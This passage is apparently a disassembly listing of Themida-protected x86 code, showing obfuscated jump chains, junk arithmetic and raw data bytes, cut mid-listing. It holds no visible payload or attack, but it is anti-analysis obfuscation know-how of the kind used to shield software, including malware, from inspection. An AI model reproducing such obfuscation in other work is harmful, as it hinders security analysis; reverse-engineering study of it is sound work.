		push	edx
		jmp	loc_55AC77
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 14h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2F68525Ch
		dd 68000031h, 5BAAh, 24048F54h,	4240481h, 8F000000h, 4812404h
		dd 424h, 7E95A00h, 68000017h, 63Ch, 0FF240489h,	58042474h
		dd 8B24048Fh, 0C3812424h, 6E8806ADh, 6BA5250h, 503E1308h
		dd 5712C4B8h, 58C2215Eh, 43BEC281h, 1CE91518h, 81FFFF5Bh
		dd 0EB705DEAh, 14875B44h, 24248B24h, 4C781h, 92E90000h
		dd 0E9000021h, 0FFFF4F58h, 0BD16C681h, 0F189E7C2h, 29D8055Eh
		dd 0C8010D79h, 7929D82Dh, 2434FF0Dh, 2CE3E959h,	348B0000h
		dd 4C48324h, 7D33E9h, 4C48300h,	8B240487h, 0F662424h, 9C2404BBh
		dd 0FF4F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DA9:				; CODE XREF: Themida_:0055D31Dj
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		sub	ecx, 0FFBBFFF9h
		jmp	loc_55FCF4
; ---------------------------------------------------------------------------
		db 80h
		dd 7BE995EBh, 5BFFFFA9h, 0E904EAC1h, 15E7h, 24048B66h
		dd 0FF9C6EE9h, 4EC81FFh, 89000000h, 78682414h, 8900000Eh
		dd 4812424h, 424h, 634BE900h, 0C6810000h, 674A27A7h, 6BE9FE01h
		dd 68FFFFBAh, 2, 8BF5015Eh, 89572434h, 638AE9E7h, 0F1BB0000h
		dd 81136357h, 0B35672EBh, 0BE56504Ch, 5053537Ch, 0FF7823E9h
		dd 8BA52CFFh, 89512414h, 4C181E1h, 83000000h, 0C8704C1h
		dd 24248B24h, 414CE953h, 0B4500000h, 58E688ADh,	0D4E9F088h
		dd 68FFFFAAh, 7142h, 0FFED09E9h, 9ABF57FFh, 1F3CBE9h, 12E95FF8h
		dd 83000067h, 2C8704C5h, 24248B24h, 0E92424D3h,	0FFFFD3F2h
		dd 7FFAF281h, 0FCE97F79h, 88000026h, 0D2F659CAh, 865AD088h
		dd 1C180C1h, 0F6CF8853h, 5BF988D7h, 0FF4FF2E9h,	43C780FFh
		dd 0FF6E47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EB5:				; CODE XREF: Themida_:0055D97Ej
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_564D50
; ---------------------------------------------------------------------------
		db 66h
		dd 55240C8Bh, 2434FF54h, 25CA685Dh, 4890000h, 5E08924h
		dd 4, 36F5E9h, 242C3100h, 0E9242C33h, 0FFFFB457h, 3304EA83h
		dd 14312414h, 683CE924h, 14890000h, 7704BA24h, 0C2816363h
		dd 9944713h, 8106EAC1h,	0BCC1B1EAh, 5AD08988h, 0FF983BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560F25:				; CODE XREF: Themida_:00568F05j
		push	ebx
		mov	ebx, 22D01F77h
		shr	ebx, 3
		neg	ebx
		xor	ebx, 59141E8Eh
		push	edi
		mov	edi, 1425280Bh
		or	edi, 1D0C1719h
		sub	edi, 4A56778h
		jmp	loc_5645C5
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aPsx		db '·ÈPéå$',0
		align 4


loc_560F58:				; CODE XREF: Themida_:00557226j
		mov	ebx, 5BF85732h
		sub	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, eax
		jmp	loc_556B2F
; ---------------------------------------------------------------------------
		dd 0E9C0B60Fh, 0FFFF7EF9h, 4205EAC1h, 4B15E9h
		db 0
; ---------------------------------------------------------------------------


loc_560F79:				; CODE XREF: Themida_:00561777j
		pop	eax
		sub	ebp, 36D067B9h
		push	esi
		jmp	loc_56267E
; ---------------------------------------------------------------------------
		dw 429h
		dd 35E99C24h, 0FFFFFF4Dh, 148B2434h, 4C48324h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 4A3Ch
; ---------------------------------------------------------------------------


loc_560FB0:				; CODE XREF: Themida_:0055ACE5j
		shl	ebp, 8
		xor	ebp, 77D546EEh
		sub	ebp, 38E6B4EDh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5A3E1020h
		push	esi
		push	30BF5103h
		pop	esi
		neg	esi
		jmp	loc_56A33A
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 5E2AE907h, 5455FFFFh, 781EE9h
		db 0
; ---------------------------------------------------------------------------


loc_560FED:				; CODE XREF: Themida_:00566CBBj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 62h
		shr	ch, 6
		push	edx
		jmp	loc_567642
; ---------------------------------------------------------------------------
		db 1, 0C3h, 8Bh
		dd 0C4812404h, 4, 5304C383h, 0FF9B3CE9h, 242C8BFFh, 4C481h
		dd 0E95F0000h, 0FFFFB5ACh
; ---------------------------------------------------------------------------


loc_561028:				; CODE XREF: Themida_:00563E6Fj
		pop	esi
		sub	esi, 7C026439h
		pop	ebp
		jmp	loc_566443
; ---------------------------------------------------------------------------


loc_561035:				; CODE XREF: Themida_:00563FD4j
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_566D65
; ---------------------------------------------------------------------------
		dd 0E80082B5h, 0C3E95966h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56104F:				; CODE XREF: Themida_:00569AC8j
		pop	ebx
		and	eax, ebp
		jmp	loc_563732
; ---------------------------------------------------------------------------
		db 52h
		dd 0B244B050h, 8BC23029h, 0C4832404h, 0F6526604h, 5A66241Ch
		dd 24C280h, 47045AD0h, 0E98DB151h, 27D8h
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:0055F83Cj
		mov	ebp, esp
		push	edx
		mov	edx, 7B410CC5h
		xor	edx, 69372D6Bh
		inc	edx
		and	edx, 58DB56EDh
		xor	edx, 561D6234h
		add	edx, 0B9B09D6Bh
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 37A67673h
		push	esi
		jmp	loc_559BE0
; ---------------------------------------------------------------------------


loc_5610AC:				; CODE XREF: Themida_:0055FD0Cj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5686C3
; ---------------------------------------------------------------------------


loc_5610BD:				; CODE XREF: Themida_:0056591Ej
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_559E68
; ---------------------------------------------------------------------------


loc_5610DF:				; CODE XREF: Themida_:00555D02j
		xchg	edx, [esp]
		jmp	loc_564B6E
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 2474FF24h, 48F5B04h, 87E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610FA:				; CODE XREF: Themida_:00558946j
		sub	edx, 4
		push	edx
		jmp	loc_56299C
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 73301CFCh, 8904EC83h, 0F5E92414h, 83FFFFF3h,	48904ECh
		dd 5E08924h, 4,	405h, 11796800h, 4890000h, 8253E924h, 0C2810000h
		dd 0F7ECE1B6h, 0FFA086E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561141:				; CODE XREF: Themida_:00564ADFj
		pop	eax
		push	ebx
		mov	bl, 51h
		not	bl
		shl	bl, 1
		jmp	loc_558A44
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 68006611h, 1185F681h, 0F1015E22h, 9BBFE9h, 5E8C100h
		dd 0D06E8C1h, 58A14B8Fh, 7251BE56h, 0E6814DE3h,	31A50B9Fh
		dd 0F6EDC681h, 0F0012264h, 58C3315Eh, 6564EB81h, 0EB812D54h
		dd 23F55675h, 0E9FB3143h, 0FFFF8927h
; ---------------------------------------------------------------------------


loc_561198:				; CODE XREF: Themida_:00559687j
		pop	ecx
		jmp	loc_55C61E
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 24048B66h, 81E78957h, 4C7h, 13E95200h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5611B7:				; CODE XREF: Themida_:00569E55j
		mov	ecx, 4729289Ch
		and	ecx, 6DD87524h
		jmp	loc_56A1D9
; ---------------------------------------------------------------------------
		db 81h
		dd 488B88EDh, 0C7CD8187h, 0F754BF22h, 6E5C1DDh,	63C58145h
		dd 942F2E2h, 1923E9E8h,	5A680000h, 89000044h, 0EC81243Ch
		dd 4, 81240489h, 66BC2434h, 3C8B622Dh, 7767E924h, 8858FFFFh
		dd 3874E9C8h, 89550000h, 0E9EA89FDh, 0FFFFFE01h, 4C481h
		dd 0C4830000h, 4B28E904h, 1489FFFFh, 3A7EBA24h,	5429299Ch
		dd 8B5A0824h, 0C4832414h, 0EB815B04h, 4EE71C03h, 8124048Bh
		dd 4C4h, 5FF26800h, 4890000h, 24348124h, 43610FC0h, 8B2434FFh
		dd 89522404h, 91BD55E2h, 8148BA20h, 8325C3E5h, 29C6E932h
		dd 1C330000h, 24248B24h, 10DA6851h, 2C890000h, 1BA7BD24h
		dd 0AE914C1h, 31FFFFADh, 240C8BCEh, 0FFF940E9h,	77E95CFFh
		dd 87000097h, 40E92404h, 81000019h, 2632E6EDh, 81FD0159h
		dd 2632E6C5h, 243C8B59h, 3364E9h, 81E28900h, 4C2h, 4C28300h
		dd 5C241487h, 0FFCA9EE9h, 8BF829FFh, 0C481243Ch, 4, 3440E9h
		db 0
; ---------------------------------------------------------------------------


loc_5612DD:				; CODE XREF: Themida_:0056832Dj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 0ED15083h
		sub	eax, 224A521Eh
		add	eax, esi
		add	eax, 224A521Eh
		push	esi
		mov	esi, 2D1A6948h
		inc	esi
		shr	esi, 1
		sub	esi, 7BBE421h
		add	eax, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BBE7
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 240C8900h, 71BE68h,	0B2E95400h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56132B:				; CODE XREF: Themida_:005689CBj
		or	ebp, 588C7A93h
		add	ebp, 26BA1092h
		jmp	loc_565EEF
; ---------------------------------------------------------------------------
		dd 8904EC83h, 19E9243Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561347:				; CODE XREF: Themida_:00563F9Dj
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_559491
		sub	esp, 4
		mov	[esp], edx
		push	268Eh
		jmp	loc_56015E
; ---------------------------------------------------------------------------


loc_561365:				; CODE XREF: Themida_:00561941j
		shl	edx, 3
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 281B40F8h
		jmp	loc_55C5EF
; ---------------------------------------------------------------------------
		dd 0E3D0C3FEh, 0FFBFA1E9h, 281804FFh, 0E9182CD0h, 0FFFFB031h
		dd 1CE9D1F7h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561393:				; CODE XREF: Themida_:0055DFFEj
		add	esp, 4
		jmp	loc_565EF7
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 67682684h, 0E924348Bh, 0FFFFC98Ah, 0E95ECF80h, 0FFFFB290h
; ---------------------------------------------------------------------------


loc_5613B4:				; CODE XREF: Themida_:00568544j
		sub	[esp], eax
		push	ebx
		mov	ebx, 356C3794h
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 29h
		dd 241C8BDEh, 4C481h, 34870000h, 4EB8E924h, 30AC0000h
		dd 50468D8h, 14890000h,	4EC8324h, 0B1240C89h, 0FABE99Ah
		dd 54570000h, 81243C8Bh, 4C4h, 4C78100h, 83000000h, 3C8702C7h
		dd 57665C24h, 0FFB130E9h, 138805FFh, 0C6090658h, 14F75658h
		dd 24348B24h, 0E904C483h, 1EC4h, 0F8006F04h, 1C8B6F2Ch
		dd 4C48124h, 0E9000000h, 712Fh
; ---------------------------------------------------------------------------


loc_56143C:				; CODE XREF: Themida_:0055AE54j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_562131
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 68000000h,	5183h, 34C9E9h,	51EF8100h, 89DDA6E2h
		dd 60FBE9F8h, 0EB01FFFFh, 83242C8Bh, 0D30104C4h, 36C5EB81h
		dd 335A7411h, 1C31241Ch, 241C3324h, 2124248Bh, 0C2095DE8h
		dd 0FF9F95E9h, 242C8BFFh, 4C481h, 2C8B0000h, 4C48124h
		dd 81000000h, 0EB666AC5h, 24148B61h, 0FFE5FAE9h, 4C483FFh
		dd 0E924048Fh, 0FFFF8D25h
; ---------------------------------------------------------------------------


loc_5614BC:				; CODE XREF: Themida_:00567EDEj
		and	edx, 3A925876h
		not	edx
		or	edx, 0E426012h
		xor	edx, 0D972B10Eh
		xor	esi, edx
		pop	edx
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55C7FD
; ---------------------------------------------------------------------------


loc_5614E1:				; CODE XREF: Themida_:00568AAAj
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xchg	eax, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_562DAA
; ---------------------------------------------------------------------------
aRRsN		db 'R²ré³n',0
		align 2
		dw 1CF7h
		dd 0BDE99C24h, 58FFFF47h, 7F51E950h, 0E959FFFFh, 2B03h
		dd 4EC8156h, 0E9000000h, 7392h,	4EC81h,	24890000h, 4B95124h
		dd 1000000h, 5904244Ch,	0F1685559h, 5D55EC48h, 0FFE8EEE9h
		dd 241C31FFh, 0DA31D331h, 0E468D331h, 8900001Eh, 89532414h
		dd 775EE9E3h, 0BD55FFFFh, 402A3515h, 1CF0F581h,	0ED8123B3h
		dd 2D164B1Fh, 0FFAFC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561571:				; CODE XREF: Themida_:00562164j
		add	ebx, 0A89DB8E0h
		push	ebx
		sub	dword ptr [esp], 172F0B73h
		jmp	loc_559149
; ---------------------------------------------------------------------------
		dd 2C381h, 20E90000h, 0B9000009h, 0D3D8DD0Fh, 8E9F101h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56159B:				; CODE XREF: Themida_:0055E9D0j
		add	ebp, 0E503D96h
		sub	ebp, eax
		sub	ebp, 0E503D96h
		pop	eax
		jmp	loc_5667C9
; ---------------------------------------------------------------------------


loc_5615AF:				; CODE XREF: Themida_:00567A1Cj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 159E2EEAh
		push	esi
		mov	esi, 41B52593h
		or	edi, esi
		pop	esi
		add	edi, 0AA40D009h
		add	esi, edi
		jmp	loc_5663A9
; ---------------------------------------------------------------------------
aYVsel		db ')ËY)ÃVéE‹',0
		db 0
; ---------------------------------------------------------------------------


loc_5615DF:				; CODE XREF: Themida_:0055DAA2j
		push	edx
		mov	edx, 0
		add	edx, 2DCB0F89h
		jmp	loc_565457
; ---------------------------------------------------------------------------


loc_5615F0:				; CODE XREF: Themida_:0055F91Dj
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 356C3794h
		push	ebx
		push	ebp
		mov	ebp, eax
		mov	ebx, ebp
		jmp	loc_56650C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EC81h, 62E90000h, 58FFFF66h, 3047E9h, 4C48100h, 51000000h
		dd 0FF4762E9h, 0DEBE56FFh, 0C14D261Eh, 0DAE908E6h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56163B:				; CODE XREF: Themida_:00559278j
		pop	ecx
		mov	ch, 0B8h
		jmp	loc_559581
; ---------------------------------------------------------------------------
		db 81h
		dd 0EB04246Ch, 296CE971h, 8104244Ch, 0EB042444h, 506CE971h
		dd 76E35B8h, 24448109h,	0A7480208h, 24440127h, 246C8108h
		dd 0A7480208h, 6B9CE927h, 0C483FFFFh, 2EC8304h,	24148966h
		dd 912CC2B6h, 9104F028h, 24148B66h, 275668h, 241C8900h
		dd 0E955E389h, 0FFFF8743h, 6FE95D54h, 51000074h, 0D9E9E189h
		dd 8100001Bh, 0EA865FE9h, 98BF5701h, 123AC36h, 0CB295FFBh
		dd 91CCE9h, 33F78100h, 161183Dh, 0C3815FFBh, 4,	2474FF53h
		dd 48F5B04h, 24248B24h,	4DF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5616E1:				; CODE XREF: Themida_:00557DD2j
		xor	eax, 10C07055h
		add	eax, 0FFFFFFFFh
		or	eax, 393C24CDh
		jmp	loc_5631F0
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 4
		dd 71EBF781h, 0EFC12D64h, 0BB0BE903h, 0FC68FFFFh, 89000034h
		dd 4BE2434h, 1000000h, 24348BF2h, 5204C483h, 42474FFh
		dd 24048F5Ah, 6304E9h
		db 0
; ---------------------------------------------------------------------------


loc_561729:				; CODE XREF: Themida_:0056023Bj
		push	9D9h
		jmp	loc_56177C
; ---------------------------------------------------------------------------


loc_561733:				; CODE XREF: Themida_:005689D3j
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55D3AE
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF810000h, 4, 4D95E9h
		db 0
; ---------------------------------------------------------------------------


loc_561759:				; CODE XREF: Themida_:0055949Fj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55E0FA
; ---------------------------------------------------------------------------


loc_561768:				; CODE XREF: Themida_:0056AAA6j
		sub	eax, edi
		add	eax, 4BAB5309h
		sub	eax, 71046B45h
		pop	edi
		mov	ebp, eax
		jmp	loc_560F79
; ---------------------------------------------------------------------------


loc_56177C:				; CODE XREF: Themida_:0056172Ej
		mov	[esp], edi
		jmp	loc_565EE9
; ---------------------------------------------------------------------------
		dd 0E980DCB1h, 59CF2847h, 2A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_561791:				; CODE XREF: Themida_:0055C217j
		pop	esi
		add	esi, 604B267Ah
		add	esi, ecx
		sub	esi, 604B267Ah
		mov	ecx, [esp]
		jmp	loc_56671B
; ---------------------------------------------------------------------------


loc_5617A8:				; CODE XREF: Themida_:0055B6C4j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_563613
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 8EDC000h, 5DD868h, 24048900h, 20A0E952h, 595D0000h
		dd 620DEA81h, 0C2014E6Ch, 620DC281h, 34FF4E6Ch,	51685824h
		dd 8900001Dh, 8B54242Ch, 0C483242Ch, 1C65E904h,	9F050000h
		dd 5954252Ch, 743B732Dh, 4EC8116h, 89000000h, 0FF54243Ch
		dd 0E95F2434h, 6310h
; ---------------------------------------------------------------------------


loc_56181C:				; CODE XREF: Themida_:0055FE2Aj
		mov	[esp], edi
		push	0E2Dh
		mov	[esp], ebx
		mov	ebx, 7B4B57E9h
		mov	edi, 9191A2A9h
		sub	edi, 31D8499Bh
		sub	edi, ebx
		push	2F71h
		jmp	loc_563546
; ---------------------------------------------------------------------------


loc_561843:				; CODE XREF: Themida_:005659E7j
		push	3D64h
		mov	[esp], edi
		push	22ADh
		mov	[esp], eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp], eax
		pop	edi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55F7FA
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 8E34E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561886:				; CODE XREF: Themida_:0056593Fj
		mov	[esp], ecx
		mov	ecx, 72E1021Ah
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 0DCA9ECA7h
		add	ecx, esi
		jmp	loc_563BB6
; ---------------------------------------------------------------------------
aWhE		db 'WhÐe',0
		align 4
		dd 57242C89h, 0C7815F54h, 4, 8704EF83h,	0C1E9243Ch, 3000000Fh
		dd 0EEC059EEh, 0E9C6FE08h, 0FFFFA77Fh, 5239B652h, 6E967B6h
		dd 0B5000055h, 0CCF3E924h, 3C8AFFFFh, 2C48324h,	4DF2E9h
		dd 0EB815F00h, 421120C9h, 93D0F793h, 2404FF53h,	0FFD29BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561901:				; CODE XREF: Themida_:0056440Aj
		sub	ecx, 73BC7EACh
		sub	ecx, ebx
		jmp	loc_55DD56
; ---------------------------------------------------------------------------
aI4SS		db '‰4$é°˜',0
		align 2


loc_561916:				; CODE XREF: Themida_:00562AF9j
		sub	ecx, eax
		sub	ecx, 75F45406h
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_558D0C
; ---------------------------------------------------------------------------
		db 0BBh, 53h, 14h
		dd 8BE91B86h, 89FFFF99h, 48B5FFDh, 8B71E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56193E:				; CODE XREF: Themida_:00556EE0j
		sub	edx, edi
		pop	edi
		jmp	loc_561365
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 57665E5Fh, 0FFB9E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561951:				; CODE XREF: Themida_:0056360Ej
		xor	ecx, 423041E3h
		push	7F6Bh
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5596FB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH_g		db '$h.G',0
		align 2
aStd		db 'éTd',0
		dw 5800h
		dd 0E998F780h, 0FFFF6ECFh, 9A7417BBh, 8BDD093Bh, 0C481241Ch
		dd 4, 6CAAE581h, 0ED81253Eh, 0C222B057h, 1E4DE9h, 24148900h
		dd 0B850E289h, 4, 74A1C281h, 78E9347Ch,	81FFFFCAh, 7F3CDBC7h
		dd 5FFA015Ah, 715BF57h,	22E93F31h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5619D3:				; CODE XREF: Themida_:0055FA9Bj
		shr	ecx, 5
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3A8DC0D3h
		jmp	loc_567710
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0DD64F281h, 0EE94363h, 52FFFF59h, 925488BAh,	0C468571Fh
		dd 5F1D3731h, 80DCE947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A0A:				; CODE XREF: Themida_:00563F77j
		mov	cl, 54h
		or	cl, 87h
		neg	cl
		and	cl, 5Bh
		add	cl, 0B2h
		not	cl
		sub	cl, 0BAh
		push	small 589Dh
		mov	[esp], cx
		jmp	loc_55D85F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 52000000h, 4BAh, 94DFE900h, 0B0500000h, 0B247E9FAh
		dd 34FFFFFFh, 2434FF24h, 8B2434FFh, 89522404h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 4C4835Ch, 0A2368h, 243C8900h
		dd 243C8B54h, 0FF598EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561A75:				; CODE XREF: Themida_:00556D51j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55D707
; ---------------------------------------------------------------------------


loc_561A8C:				; CODE XREF: Themida_:0055FCFAj
		sub	esp, 4
		jmp	loc_55A533
; ---------------------------------------------------------------------------


loc_561A97:				; CODE XREF: Themida_:0055C385j
		pop	edx
		sub	edx, 218044E5h
		pop	ebx
		xor	edx, 85E16F0h
		mov	ebp, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_556B85
; ---------------------------------------------------------------------------
aYsg		db 'Yé£<',0
		align 2
		dw 505Bh
		dd 6072B1B8h, 0B59DE92Bh, 0C581FFFFh, 4, 4C581h, 0FF550000h
		dd 5D042474h, 5C24048Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 140F3DCFh
		push	eax
		mov	eax, 10187737h
		jmp	loc_55E3A6
; ---------------------------------------------------------------------------


loc_561AEC:				; CODE XREF: Themida_:005594BCj
		pop	edi
		or	edi, 35362E90h
		dec	edi
		push	ecx
		push	edx
		push	73515204h
		pop	edx
		shl	edx, 6
		or	edx, 2D4A71CDh
		xor	edx, 21520134h
		xor	edx, 0C6C0A0EDh
		push	edx
		sub	dword ptr [esp], 675D03E9h
		pop	ecx
		add	ecx, 675D03E9h
		jmp	loc_56601D
; ---------------------------------------------------------------------------


loc_561B25:				; CODE XREF: Themida_:0055CABCj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55B2FB
; ---------------------------------------------------------------------------


loc_561B3A:				; CODE XREF: Themida_:00566276j
		xor	ecx, eax
		pop	eax
		jmp	loc_563C63
; ---------------------------------------------------------------------------


loc_561B42:				; CODE XREF: Themida_:0055CC18j
		sub	esi, ecx
		jmp	loc_564390
; ---------------------------------------------------------------------------


loc_561B49:				; CODE XREF: Themida_:00563D3Ej
		sub	ch, 0FFh
		jmp	loc_567FCF
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0ECh
		dd 6820AA7Fh, 7ACFh, 81241489h,	3C31242Ch, 0C8B5D0Bh, 46CE6824h
		dd 3C890000h, 4EC8324h,	81242489h, 42404h, 0E95F0000h
		dd 0FFFFAD94h
; ---------------------------------------------------------------------------


loc_561B84:				; CODE XREF: Themida_:0055659Aj
		add	esp, 4
		push	0B38h
		mov	[esp], eax
		jmp	loc_55A81D
; ---------------------------------------------------------------------------
aIHdn		db '‰,$hdN',0
		align 4
		dd 0FF241C89h, 64E92434h, 5AFFFFC4h, 0FF5EF201h, 835F2434h
		dd 0E95504C4h, 1B60h, 0D4F68h, 24048900h, 0D60BE954h, 8952FFFFh
		dd 4C281E2h, 57000000h,	4BFh, 0FFFA0100h, 815F2434h, 4C4h
		dd 24148700h, 0E924248Bh, 2130h, 8B2434FFh, 0C4832404h
		dd 4EC8104h, 89000000h,	0E189240Ch, 4C181h, 0EC830000h
		dd 242C8904h, 23F4BF57h, 0C5E90F83h, 0F7000080h, 4DC581D5h
		dd 81539375h, 0C28661EDh, 5DEF89C5h, 0FFA949E9h, 404A68FFh
		dd 4890000h, 61C56824h,	24890000h, 24048124h, 4, 0E92434FFh
		dd 0FFFF6039h
; ---------------------------------------------------------------------------


loc_561C4C:				; CODE XREF: Themida_:0056633Fj
		add	esp, 4
		push	edi
		mov	edi, 64D37A14h
		inc	edi
		sub	edi, 55692603h
		shr	edi, 7
		push	ebp
		jmp	loc_5629EA
; ---------------------------------------------------------------------------


loc_561C65:				; CODE XREF: Themida_:0056AEF8j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_560181
; ---------------------------------------------------------------------------
		db 41h
		dd 0F749D9F7h, 533FE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C7E:				; CODE XREF: Themida_:00562B90j
		push	ecx
		push	7555h
		mov	[esp], ebx
		mov	ebx, 706F5BEBh
		shl	ebx, 6
		jmp	loc_55AF11
; ---------------------------------------------------------------------------
		dd 0E2895259h, 4C281h, 0EA830000h, 24143304h, 33241431h
		dd 895C2414h, 2CBA2414h, 81000000h, 45728AC2h, 0F5BE5674h
		dd 0E94F5817h, 7666h, 198CEE81h, 0EE811432h, 23156826h
		dd 0C681CE01h, 23156826h, 0FF7319E9h, 1C875FFFh, 0E0E95C24h
		dd 58FFFFB1h, 2C18E9h, 0DCE95400h, 83FFFF52h, 0EC8104C4h
		dd 4, 52240C89h, 0C5BF7DBAh, 5545E946h,	0C381FFFFh, 9BDFF307h
		dd 0FFD4FAE9h, 4C083FFh, 0FF69CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D1D:				; CODE XREF: Themida_:00560C1Fj
		add	esi, 0EDE3B5B2h
		jmp	loc_556414
; ---------------------------------------------------------------------------
		dd 9406DCBDh, 47E96Eh, 0B8500000h, 707A5ADDh, 0FF5C46E9h
		dd 71E95CFFh, 89FFFF8Ah, 0EC83241Ch, 94EAE904h,	0FEB9FFFFh
		dd 0BB739F2Bh, 52CB4B01h, 86F5E9h, 0CD895B00h, 0C6815E59h
		dd 49114D44h, 0EE81EE01h, 49114D44h, 2434875Dh,	57ADE9h
		dd 0C5814500h, 0E4D71FE7h, 15DEE01h, 0C4EE81C6h, 0E9536B26h
		dd 0FFFF8697h
; ---------------------------------------------------------------------------


loc_561D90:				; CODE XREF: Themida_:00563959j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55C38A
; ---------------------------------------------------------------------------
		dd 2434FF5Eh, 4C4835Ah,	8704C583h, 248B242Ch, 4C48324h
		dd 9C2404FFh, 0FF3F03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561DC1:				; CODE XREF: Themida_:005567DAj
